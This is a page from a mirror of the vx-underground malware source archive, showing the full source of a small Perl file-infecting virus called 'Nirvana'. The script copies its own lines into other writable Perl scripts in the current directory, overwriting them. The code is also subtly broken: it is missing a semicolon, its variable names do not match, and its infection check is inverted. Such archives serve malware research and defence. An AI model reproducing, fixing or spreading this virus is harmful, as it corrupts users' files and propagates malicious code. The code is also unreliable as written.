13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-16 12:08:36 +00:00
vxug-MalwareSourceCode/Perl/Virus.Perl.Nirvana
2020-10-09 21:59:39 -05:00

31 lines
648 B
Plaintext

# Nirvana RuLeZ the world
# PERL.Nirvana
# by Second Part To Hell
# Thanks to SnakeByte for your tutorial!
open(file,$0);
@nirvana=<file>;
@nirvana=@nirvana[0...31]
close(file);
foreach $FileName (<*>)
{
if ((-r $FileName) && (-w $FileName) && (-f $FileName))
{
open (File, "$FileName");
@Lithium=<File>;
close(File);
if ((@Lithium[1] =~ "Nirvana") or (@Lithium[2] =~ "Nirvana"))
{
if((@Lithium[0] =~ "perl",,i) or (@Lithium[1] =~ "perl",,i))
{
open(sliver, ">$FileName");
print sliver @Nirvana;
print sliver @Litium;
close (sliver);
}
}
}
}